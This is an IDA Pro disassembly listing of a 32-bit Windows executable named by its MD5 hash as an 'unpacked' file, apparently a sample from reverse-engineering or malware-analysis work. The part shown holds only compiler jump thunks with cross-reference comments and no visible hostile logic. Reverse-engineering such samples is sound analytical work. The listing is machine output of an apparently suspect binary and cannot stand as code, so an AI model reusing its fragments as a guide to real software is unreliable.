;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	08CD63CBA70C6B69A8B912FA3D51CB49

; File Name   :	u:\work\08cd63cba70c6b69a8b912fa3d51cb49_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00112000 (1122304.)
; Section size in file		: 00112000 (1122304.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		db 5 dup(0CCh)
; ---------------------------------------------------------------------------
		jmp	loc_430920
; ---------------------------------------------------------------------------


loc_40100A:				; DATA XREF: ___:off_43F08Co
		jmp	loc_412D70

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40100F	proc near		; CODE XREF: sub_421BF0+29p
		jmp	sub_422150
sub_40100F	endp

; ---------------------------------------------------------------------------
		jmp	loc_432540
; ---------------------------------------------------------------------------
		jmp	loc_420DA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40101E	proc near		; CODE XREF: ___:00412AA3p
		jmp	sub_412AD0
sub_40101E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401023	proc near		; CODE XREF: ___:0040B28Dp
					; ___:0040B29Ap ...
		jmp	sub_406B80
sub_401023	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401028	proc near		; CODE XREF: sub_41FA90+34p
		jmp	sub_40B0D0
sub_401028	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40102D	proc near		; CODE XREF: sub_404C30+616p
					; sub_404C30+6D5p ...
		jmp	sub_40A100
sub_40102D	endp

; ---------------------------------------------------------------------------
		jmp	sub_42B3F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401037	proc near		; CODE XREF: sub_4135D0+3Bp
					; ___:00414BF0p
		jmp	sub_4156C0
sub_401037	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40103C	proc near		; CODE XREF: sub_430B30+6Ep
					; sub_430B30+8Ap ...
		jmp	sub_4342D0
sub_40103C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401041	proc near		; CODE XREF: ___:00430212p
					; sub_430B30+3Fp ...
		jmp	sub_434150
sub_401041	endp

; ---------------------------------------------------------------------------
		jmp	loc_423A40

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40104B	proc near
		jmp	sub_40D200
sub_40104B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401050	proc near		; CODE XREF: sub_40B0D0+3Ap
					; sub_40B140+1Ap
		jmp	sub_433C70
sub_401050	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401055	proc near		; CODE XREF: sub_41E660+37Bp
		jmp	sub_421D30
sub_401055	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105A	proc near		; CODE XREF: sub_40C190+8p
		jmp	sub_40C350
sub_40105A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105F	proc near		; CODE XREF: sub_432BF0+5Ap
					; sub_434A00+50p
		jmp	sub_432BB0
sub_40105F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401064	proc near		; DATA XREF: ___:off_43F054o
		jmp	sub_41C710
sub_401064	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401069	proc near		; CODE XREF: ___:00416E6Ap
		jmp	sub_41FBD0
sub_401069	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40106E	proc near		; CODE XREF: sub_40C030+32p
		jmp	sub_40C1F0
sub_40106E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401073	proc near		; CODE XREF: ___:00416E7Ap
		jmp	sub_418250
sub_401073	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401078	proc near		; CODE XREF: sub_415910+6Ap
					; sub_416370+32p
		jmp	sub_4162B0
sub_401078	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40107D	proc near		; CODE XREF: sub_41E660+161p
					; sub_4224E0+3p
		jmp	sub_421B50
sub_40107D	endp

; ---------------------------------------------------------------------------
		jmp	loc_41ADB0
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40108C	proc near		; CODE XREF: sub_421D30+3p
					; ___:004220FFp ...
		jmp	sub_422270
sub_40108C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401091	proc near		; CODE XREF: sub_40C4D0+43p
		jmp	sub_40CBA0
sub_401091	endp

; ---------------------------------------------------------------------------
		jmp	sub_429120

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40109B	proc near		; CODE XREF: sub_4075C0+Ap
		jmp	sub_407660
sub_40109B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A0	proc near		; CODE XREF: sub_4246D0+23p
					; sub_424870+6p ...
		jmp	sub_4245E0
sub_4010A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A5	proc near		; CODE XREF: sub_431EF0+F5p
					; sub_431EF0+14Fp
		jmp	sub_4340E0
sub_4010A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AA	proc near		; CODE XREF: sub_4344C0+C8p
		jmp	sub_431C80
sub_4010AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AF	proc near		; DATA XREF: ___:0043F174o
		jmp	sub_42B0B0
sub_4010AF	endp

; ---------------------------------------------------------------------------


loc_4010B4:				; DATA XREF: ___:off_43F090o
		jmp	loc_41E2C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010B9	proc near		; CODE XREF: sub_4182F0+D0p
					; sub_418450+2Dp
		jmp	sub_4189E0
sub_4010B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010BE	proc near		; CODE XREF: sub_40FE30+8D9p
					; sub_40FE30+990p ...
		jmp	sub_412A20
sub_4010BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C3	proc near		; CODE XREF: ___:00430626p
					; ___:00430694p ...
		jmp	sub_4321F0
sub_4010C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C8	proc near		; CODE XREF: sub_421E50+9p
					; sub_422340+18p
		jmp	sub_4224C0
sub_4010C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010CD	proc near		; CODE XREF: sub_40AAC0+58p
					; sub_40AAC0+82p ...
		jmp	sub_40ACB0
sub_4010CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010D2	proc near		; CODE XREF: sub_422B40+3F1p
					; ___:00423BA6p ...
		jmp	sub_419BE0
sub_4010D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4010D7	proc near		; CODE XREF: sub_416100+7p
		jmp	sub_416730
sub_4010D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010DC	proc near		; CODE XREF: sub_4155F0+5Bp
					; sub_415F60+11p ...
		jmp	sub_4161B0
sub_4010DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010E1	proc near		; CODE XREF: sub_42AE10+58p
		jmp	sub_42AC80
sub_4010E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4010E6	proc near		; CODE XREF: sub_421970+1Fp
		jmp	sub_421DB0
sub_4010E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010EB	proc near		; CODE XREF: sub_4220B0+11p
					; ___:004220D7p ...
		jmp	sub_4225D0
sub_4010EB	endp

; ---------------------------------------------------------------------------
		jmp	loc_413E20

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010F5	proc near		; CODE XREF: sub_421B30+3p
					; ___:00421E9Fp ...
		jmp	sub_422010
sub_4010F5	endp

; ---------------------------------------------------------------------------
		jmp	loc_4144C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010FF	proc near		; CODE XREF: sub_428210+3p
		jmp	sub_428240
sub_4010FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401104	proc near		; CODE XREF: sub_415AF0+11p
					; ___:00415B17p ...
		jmp	sub_416560
sub_401104	endp

; ---------------------------------------------------------------------------
		jmp	loc_434600

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40110E	proc near		; CODE XREF: sub_421C60+5p
					; sub_421D50+6p ...
		jmp	sub_422250
sub_40110E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401113	proc near		; CODE XREF: ___:00416B4Bp
					; ___:0043B25Ej ...
		jmp	sub_417A20
sub_401113	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401118	proc near		; CODE XREF: sub_404C30+6Ap
					; sub_404C30+1AFp ...
		jmp	sub_412590
sub_401118	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40111D	proc near		; DATA XREF: ___:off_43F0ACo
		jmp	sub_419300
sub_40111D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401122	proc near		; CODE XREF: sub_432D10+6p
					; ___:00432D23p ...
		jmp	sub_430770
sub_401122	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F6C0
; ---------------------------------------------------------------------------


loc_40112C:				; DATA XREF: ___:off_43F15Co
		jmp	loc_42AF80

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401131	proc near		; CODE XREF: ___:00423D9Dp
		jmp	sub_423860
sub_401131	endp

; ---------------------------------------------------------------------------
		jmp	loc_433240

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40113B	proc near		; CODE XREF: ___:00415168p
		jmp	sub_415A80
sub_40113B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401140	proc near		; CODE XREF: sub_41BA50+F7p
					; sub_41BA50+10Bp ...
		jmp	sub_409F70
sub_401140	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401145	proc near		; CODE XREF: sub_4099E0+Ap
		jmp	sub_409AD0
sub_401145	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40114A	proc near		; CODE XREF: sub_413490+55p
					; sub_413490+94p ...
		jmp	sub_415850
sub_40114A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40114F	proc near		; CODE XREF: sub_425100+18Cp
					; ___:00425F7Dp
		jmp	sub_4236F0
sub_40114F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401154	proc near		; CODE XREF: ___:00414C7Ep
		jmp	sub_4155F0
sub_401154	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401159	proc near		; CODE XREF: sub_4288F0+3p
		jmp	sub_428920
sub_401159	endp

; ---------------------------------------------------------------------------


loc_40115E:				; DATA XREF: ___:off_43F038o
		jmp	loc_412AA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401163	proc near		; CODE XREF: sub_415EC0+11p
					; ___:00415EE7p ...
		jmp	sub_4166E0
sub_401163	endp

; ---------------------------------------------------------------------------
		jmp	loc_421870

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40116D	proc near		; CODE XREF: sub_418C00+23p
					; sub_418E70+11p
		jmp	sub_418F50
sub_40116D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401172	proc near		; CODE XREF: sub_418A50+3p
					; sub_418F80+54p ...
		jmp	sub_418DD0
sub_401172	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401177	proc near		; CODE XREF: sub_4096D0+6Ap
					; sub_4096D0+103p
		jmp	sub_409970
sub_401177	endp

; ---------------------------------------------------------------------------
		jmp	loc_433B30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401181	proc near		; CODE XREF: ___:00413E3Dp
		jmp	sub_413C30
sub_401181	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401186	proc near		; CODE XREF: ___:0041A2E4p
		jmp	sub_41B0B0
sub_401186	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40118B	proc near		; CODE XREF: sub_413490+88p
					; sub_414890+BFp ...
		jmp	sub_415A20
sub_40118B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401190	proc near		; CODE XREF: sub_430770+7p
					; sub_4307E0+19p ...
		jmp	sub_434BA0
sub_401190	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401195	proc near
		jmp	sub_40DBE0
sub_401195	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40119A	proc near		; CODE XREF: ___:0043239Ap
		jmp	sub_431D40
sub_40119A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40119F	proc near		; CODE XREF: sub_407230+11p
					; sub_4073C0+1Fp
		jmp	sub_407460
sub_40119F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A4	proc near		; CODE XREF: sub_403700+3B5p
					; sub_403700+3C5p ...
		jmp	sub_403DC0
sub_4011A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A9	proc near		; CODE XREF: sub_421D10+3p
		jmp	sub_422290
sub_4011A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011AE	proc near		; CODE XREF: sub_40C320+Ap
		jmp	sub_40C3E0
sub_4011AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011B3	proc near		; CODE XREF: sub_403700+1Dp
					; sub_407080+1Fp ...
		jmp	sub_403C30
sub_4011B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011B8	proc near		; CODE XREF: ___:00413334p
					; ___:0043AC8Cj ...
		jmp	sub_415480
sub_4011B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011BD	proc near		; CODE XREF: sub_42C640+3p
		jmp	sub_42C670
sub_4011BD	endp

; ---------------------------------------------------------------------------
		jmp	loc_40AFD0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011C7	proc near		; CODE XREF: ___:00414C8Dp
		jmp	sub_414D30
sub_4011C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011CC	proc near		; CODE XREF: sub_407660+7p
					; sub_409AD0+7p ...
		jmp	sub_407690
sub_4011CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011D1	proc near		; CODE XREF: sub_4135D0+73p
					; ___:00414C2Dp ...
		jmp	sub_4156E0
sub_4011D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011D6	proc near		; CODE XREF: sub_41E660+58p
		jmp	sub_420530
sub_4011D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011DB	proc near		; CODE XREF: sub_413E60+84p
		jmp	sub_4138A0
sub_4011DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011E0	proc near		; CODE XREF: ___:00433718p
		jmp	sub_431060
sub_4011E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011E5	proc near		; CODE XREF: sub_407510+8p
		jmp	sub_4075F0
sub_4011E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011EA	proc near		; CODE XREF: sub_404C30+9Fp
					; sub_404C30+230p ...
		jmp	sub_40A500
sub_4011EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011EF	proc near		; CODE XREF: sub_40A860+21p
					; sub_40AAC0+A5p
		jmp	sub_40AAA0
sub_4011EF	endp

; ---------------------------------------------------------------------------
		jmp	loc_40B040

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011F9	proc near		; CODE XREF: sub_40A500+129p
					; sub_40A8E0+4p ...
		jmp	sub_40A8B0
sub_4011F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011FE	proc near		; DATA XREF: ___:off_43F0DCo
		jmp	sub_4277B0
sub_4011FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401203	proc near		; CODE XREF: ___:004335ADp
		jmp	sub_430D60
sub_401203	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401208	proc near		; CODE XREF: sub_407340+3p
					; ___:0040740Fp ...
		jmp	sub_4074D0
sub_401208	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40120D	proc near		; CODE XREF: sub_41D830+346p
					; sub_41D830+410p ...
		jmp	sub_421970
sub_40120D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401212	proc near		; CODE XREF: sub_421BB0+11p
					; sub_4220B0+1Fp
		jmp	sub_4221E0
sub_401212	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401217	proc near		; CODE XREF: sub_42C7E0+3p
		jmp	sub_42C810
sub_401217	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40121C	proc near
		jmp	sub_4077E0
sub_40121C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401221	proc near		; CODE XREF: sub_40C1F0+5Fp
		jmp	sub_40C3C0
sub_401221	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401226	proc near		; CODE XREF: sub_403530+F6p
					; sub_403530+12Ep ...
		jmp	sub_409D00
sub_401226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40122B	proc near		; CODE XREF: sub_41E660+113p
					; sub_41E660+124p
		jmp	sub_421B30
sub_40122B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401230	proc near		; DATA XREF: ___:0043F06Co
		jmp	sub_41F860
sub_401230	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401235	proc near		; CODE XREF: ___:00416BEBp
					; ___:0043B1D2j ...
		jmp	sub_417670
sub_401235	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40123A	proc near		; CODE XREF: sub_40AF90+Fp
		jmp	sub_431240
sub_40123A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40123F	proc near		; CODE XREF: sub_418C00+32p
		jmp	sub_418E70
sub_40123F	endp

; ---------------------------------------------------------------------------
		jmp	loc_434860

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401249	proc near		; CODE XREF: sub_4154F0+5p
					; sub_415700+6p ...
		jmp	sub_416120
sub_401249	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40124E	proc near		; CODE XREF: sub_40BD80+29p
					; sub_40BEA0+29p
		jmp	sub_40C030
sub_40124E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401253	proc near		; CODE XREF: sub_41E660+3E9p
					; ___:0043C45Bj
		jmp	sub_421BF0
sub_401253	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401258	proc near		; CODE XREF: sub_414590+BFp
		jmp	sub_4152D0
sub_401258	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40125D	proc near		; CODE XREF: sub_4165D0+Ap
		jmp	sub_416910
sub_40125D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401262	proc near		; CODE XREF: ___:00416C57p
					; ___:0043B173j ...
		jmp	sub_416F70
sub_401262	endp

; ---------------------------------------------------------------------------
		jmp	sub_418B00

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40126C	proc near
		jmp	sub_4182F0
sub_40126C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401271	proc near		; CODE XREF: ___:00416DDFp
		jmp	sub_417F90
sub_401271	endp

; ---------------------------------------------------------------------------
		jmp	loc_414750
; ---------------------------------------------------------------------------
		jmp	loc_430320

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401280	proc near		; CODE XREF: sub_40FE30+387p
					; sub_41EF30+21Dp ...
		jmp	sub_41B7E0
sub_401280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401285	proc near		; CODE XREF: ___:00416E1Ap
		jmp	sub_418140
sub_401285	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40128A	proc near		; CODE XREF: sub_409560+8p
		jmp	sub_4095B0
sub_40128A	endp

; ---------------------------------------------------------------------------
		jmp	loc_42AF80

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401294	proc near		; CODE XREF: sub_4096D0+A5p
					; sub_4127E0+21p
		jmp	sub_4098E0
sub_401294	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401299	proc near		; CODE XREF: sub_404C30+382p
					; sub_41D830+5AAp
		jmp	sub_41C130
sub_401299	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40129E	proc near		; CODE XREF: ___:00416D2Fp
		jmp	sub_403700
sub_40129E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012A3	proc near		; CODE XREF: sub_418CB0+23p
					; sub_418F80+11p
		jmp	sub_4190D0
sub_4012A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012A8	proc near		; CODE XREF: sub_424920+Cp
					; sub_424920+3Ep ...
		jmp	sub_424410
sub_4012A8	endp

; ---------------------------------------------------------------------------
		jmp	loc_430960

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012B2	proc near		; CODE XREF: sub_404C30+85Ap
					; sub_404C30+AD6p ...
		jmp	sub_40A360
sub_4012B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012B7	proc near		; CODE XREF: ___:0042FE06p
					; ___:0042FE56p ...
		jmp	sub_432780
sub_4012B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012BC	proc near		; CODE XREF: sub_41E660+367p
					; sub_41E660+3D4p ...
		jmp	sub_421D80
sub_4012BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012C1	proc near		; DATA XREF: sub_427D50+107o
		jmp	sub_427FD0
sub_4012C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012C6	proc near		; CODE XREF: sub_424800+18p
					; sub_424840+Ap ...
		jmp	sub_4247B0
sub_4012C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012CB	proc near		; CODE XREF: sub_416210+9p
					; sub_4162B0+18p
		jmp	sub_4168C0
sub_4012CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012D0	proc near		; DATA XREF: sub_432570+32o
		jmp	sub_432D70
sub_4012D0	endp

; ---------------------------------------------------------------------------
		jmp	loc_42FE50
; ---------------------------------------------------------------------------
		jmp	loc_419CB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012DF	proc near		; CODE XREF: sub_42AC80+67p
		jmp	sub_41FEF0
sub_4012DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4012E4	proc near		; CODE XREF: ___:004301E8p
					; sub_4303A0+2p ...
		jmp	sub_431560
sub_4012E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012E9	proc near		; CODE XREF: sub_413730+3Fp
					; sub_414590+40p ...
		jmp	sub_415220
sub_4012E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012EE	proc near		; CODE XREF: sub_404600+19Fp
					; sub_404600+212p ...
		jmp	sub_409FC0
sub_4012EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012F3	proc near		; CODE XREF: sub_424F70+B5p
					; sub_424F70+F1p
		jmp	sub_424F00
sub_4012F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012F8	proc near		; CODE XREF: sub_425100+130p
		jmp	sub_424F70
sub_4012F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012FD	proc near		; CODE XREF: ___:00416DFAp
		jmp	sub_418040
sub_4012FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401302	proc near		; CODE XREF: ___:00416DCFp
		jmp	sub_417ED0
sub_401302	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401307	proc near		; CODE XREF: sub_4316C0+1p
		jmp	sub_431750
sub_401307	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40130C	proc near		; CODE XREF: ___:00427201p
		jmp	sub_427740
sub_40130C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401311	proc near		; CODE XREF: sub_4182F0+71p
					; sub_4182F0+BBp ...
		jmp	sub_4189B0
sub_401311	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401316	proc near		; CODE XREF: sub_40A170+7p
		jmp	sub_40A190
sub_401316	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40131B	proc near		; CODE XREF: ___:004329C8p
					; sub_432A20+2Bp
		jmp	sub_432BF0
sub_40131B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401320	proc near		; CODE XREF: sub_432570+1p
		jmp	sub_4327B0
sub_401320	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401325	proc near		; CODE XREF: sub_4207E0+37Bp
		jmp	sub_421CD0
sub_401325	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40132A	proc near		; CODE XREF: sub_414420+5Bp
		jmp	sub_4150F0
sub_40132A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40132F	proc near		; CODE XREF: sub_415480+29p
					; sub_4155A0+29p
		jmp	sub_416020
sub_40132F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401334	proc near		; CODE XREF: ___:00437232p
					; ___:00437242p ...
		jmp	sub_4370F0
sub_401334	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401339	proc near		; CODE XREF: sub_413490+5Fp
					; sub_413490+9Ep ...
		jmp	sub_415A50
sub_401339	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40133E	proc near		; CODE XREF: sub_40B5F0+62p
					; ___:0040BAB8p ...
		jmp	sub_40BF30
sub_40133E	endp

; ---------------------------------------------------------------------------
		jmp	loc_4313B0
; ---------------------------------------------------------------------------
		jmp	loc_42FF30
; ---------------------------------------------------------------------------


loc_40134D:				; DATA XREF: ___:0043F1A8o
		jmp	loc_42C690
; ---------------------------------------------------------------------------
		jmp	loc_42C5D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401357	proc near		; CODE XREF: sub_416180+8p
		jmp	sub_4167A0
sub_401357	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40135C	proc near		; CODE XREF: sub_413490+71p
					; sub_413490:loc_41355Cp ...
		jmp	sub_415A00
sub_40135C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401361	proc near		; CODE XREF: sub_4182F0+AFp
					; sub_4190D0+3p
		jmp	sub_418A70
sub_401361	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401366	proc near		; DATA XREF: ___:0043F104o
		jmp	sub_427D50
sub_401366	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40136B	proc near		; CODE XREF: sub_40B5F0+39p
					; sub_40B5F0+78p ...
		jmp	sub_40BF60
sub_40136B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401370	proc near		; CODE XREF: sub_426A90+29p
					; sub_426A90+38p
		jmp	sub_4269A0
sub_401370	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401375	proc near		; CODE XREF: sub_41A600+1Cp
		jmp	sub_41A640
sub_401375	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40137A	proc near		; DATA XREF: ___:0043F164o
		jmp	sub_42AE10
sub_40137A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40137F	proc near		; CODE XREF: ___:00408C96p
					; ___:00414541p
		jmp	sub_4142F0
sub_40137F	endp


